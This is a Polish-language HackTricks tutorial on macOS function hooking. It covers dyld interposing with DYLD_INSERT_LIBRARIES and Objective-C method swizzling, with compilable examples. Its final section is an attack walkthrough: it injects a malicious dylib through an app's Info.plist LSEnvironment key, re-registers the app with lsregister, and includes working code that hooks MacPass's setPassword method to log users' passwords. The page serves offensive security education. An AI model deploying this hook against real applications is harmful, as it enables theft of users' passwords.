macOS Function Hooking

Dowiedz się i praktykuj hakowanie AWS:HackTricks Training AWS Red Team Expert (ARTE) Dowiedz się i praktykuj hakowanie GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wesprzyj HackTricks

• Sprawdź plany subskrypcyjne!

• Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.

• Udostępnij sztuczki hakerskie, przesyłając PR-y do HackTricks i HackTricks Cloud na githubie.

Interpozycja funkcji

Utwórz dylib z sekcją __interpose (__DATA___interpose) (lub sekcją oznaczoną flagą S_INTERPOSING), zawierającą krotki wskaźników funkcji, które odnoszą się do oryginalnych i zastępczych funkcji.

Następnie wstrzyknij dylib przy użyciu DYLD_INSERT_LIBRARIES (interpozycja musi nastąpić przed załadowaniem głównej aplikacji). Oczywiście ograniczenia dotyczące użycia DYLD_INSERT_LIBRARIES również mają zastosowanie tutaj.

Interpozycja printf

interpose.c

interpose.c

// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>

int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);

int ret = printf("Hello from interpose\n");
return ret;
}

__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };

hello.c

//gcc hello.c -o hello
#include <stdio.h>

int main() {
printf("Hello World!\n");
return 0;
}

interpose2.c

// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib

#include <stdio.h>

#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};

int my_printf(const char *format, ...)
{
int ret = printf("Hello from interpose\n");
return ret;
}

DYLD_INTERPOSE(my_printf,printf);

DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose

DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose

Zmienna środowiskowa DYLD_PRINT_INTERPOSTING może być użyta do debugowania interposing i wyświetli proces interpose.

Należy również zauważyć, że interposing zachodzi pomiędzy procesem a załadowanymi bibliotekami, nie działa z pamięcią podręczną współdzielonych bibliotek.

Dynamiczne Interposing

Teraz jest również możliwe dynamiczne interposing funkcji za pomocą funkcji dyld_dynamic_interpose. Pozwala to programowo interpose funkcję w czasie wykonania zamiast robić to tylko od początku.

Wystarczy wskazać krotki funkcji do zastąpienia i funkcji zastępczej.

struct dyld_interpose_tuple {
const void* replacement;
const void* replacee;
};
extern void dyld_dynamic_interpose(const struct mach_header* mh,
const struct dyld_interpose_tuple array[], size_t count);

Metoda Swizzling

W ObjectiveC wywołuje się metodę w ten sposób: [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]

Potrzebny jest obiekt, metoda i parametry. Gdy metoda jest wywoływana, wiadomość jest wysyłana za pomocą funkcji objc_msgSend: int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);

Obiektem jest someObject, metoda to @selector(method1p1:p2:), a argumenty to value1, value2.

Podążając za strukturami obiektów, można dotrzeć do tablicy metod, gdzie nazwy i wskaźniki do kodu metody są umieszczone.

Zauważ, że ponieważ metody i klasy są dostępne na podstawie swoich nazw, te informacje są przechowywane w pliku binarnym, więc można je odzyskać za pomocą otool -ov </path/bin> lub class-dump </path/bin>

Dostęp do surowych metod

Możliwe jest uzyskanie informacji o metodach, takich jak nazwa, liczba parametrów lub adres, jak w poniższym przykładzie:

// gcc -framework Foundation test.m -o test

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));

// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));

// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));

// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);

NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);

for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}

// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}

// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}

// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);

// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);

return 0;
}

Podmiana metody za pomocą method_exchangeImplementations

Funkcja method_exchangeImplementations pozwala zmienić adres implementacji jednej funkcji na drugą.

Kiedy funkcja jest wywoływana, wykonywana jest inna funkcja.

//gcc -framework Foundation swizzle_str.m -o swizzle_str

#import <Foundation/Foundation.h>
#import <objc/runtime.h>


// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original method
return [self swizzledSubstringFromIndex:from];
}

@end

int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);

// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

return 0;
}

W tym przypadku, jeśli kod implementacji prawidłowej metody sprawdza nazwę metody, może wykryć takie podmienianie i zapobiec jego uruchomieniu.

Następująca technika nie ma tego ograniczenia.

Podmienianie metody za pomocą method_setImplementation

Poprzedni format jest dziwny, ponieważ zmieniasz implementację 2 metod na siebie. Korzystając z funkcji method_setImplementation możesz zmienić implementację metody na inną.

Pamiętaj tylko, aby zapisać adres implementacji oryginalnej metody, jeśli zamierzasz ją wywołać z nowej implementacji przed jej nadpisaniem, ponieważ później będzie znacznie trudniej zlokalizować ten adres.

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

static IMP original_substringFromIndex = NULL;

@interface NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}

@end

int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];

// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));

// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));

// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);

return 0;
}
}

Metodologia ataku hooking

Na tej stronie omówione zostały różne sposoby hookowania funkcji. Jednakże, wymagały one uruchomienia kodu wewnątrz procesu w celu ataku.

Aby to zrobić, najłatwiejszą techniką jest wstrzyknięcie Dyld za pomocą zmiennych środowiskowych lub przejęcie kontroli. Jednakże, można to również zrobić poprzez wstrzyknięcie procesu Dylib.

Obie opcje są jednak ograniczone do niechronionych binarnych/procesów. Sprawdź każdą technikę, aby dowiedzieć się więcej na temat ograniczeń.

Atak poprzez hookowanie funkcji jest bardzo specyficzny, atakujący będzie to robił, aby ukraść wrażliwe informacje z wnętrza procesu (jeśli nie, wystarczyłoby przeprowadzić atak wstrzyknięcia procesu). Te wrażliwe informacje mogą znajdować się w pobranych przez użytkownika aplikacjach, takich jak MacPass.

Wektor ataku polegałby więc na znalezieniu podatności lub usunięciu sygnatury aplikacji, wstrzyknięciu zmiennej środowiskowej DYLD_INSERT_LIBRARIES poprzez plik Info.plist aplikacji, dodając coś w rodzaju:

<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>

a następnie ponownie zarejestruj aplikację:

/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app

Dodaj do tej biblioteki kod hakowania w celu wycieku informacji: Hasła, wiadomości...

Zauważ, że w nowszych wersjach macOS, jeśli usuniesz sygnaturę binariów aplikacji i zostały one wcześniej uruchomione, macOS nie będzie już uruchamiał aplikacji.

Przykład biblioteki

// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib

// If you added env vars in the Info.plist don't forget to call lsregister as explained before

// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'

#include <Foundation/Foundation.h>
#import <objc/runtime.h>

// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;

static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);

// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd,  password, keyFileURL);
}

// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));

// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}

Odnośniki

• https://nshipster.com/method-swizzling/

Dowiedz się i praktykuj Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Dowiedz się i praktykuj Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wesprzyj HackTricks

• Sprawdź plany subskrypcyjne!

• Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.

• Udostępnij sztuczki hakerskie, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.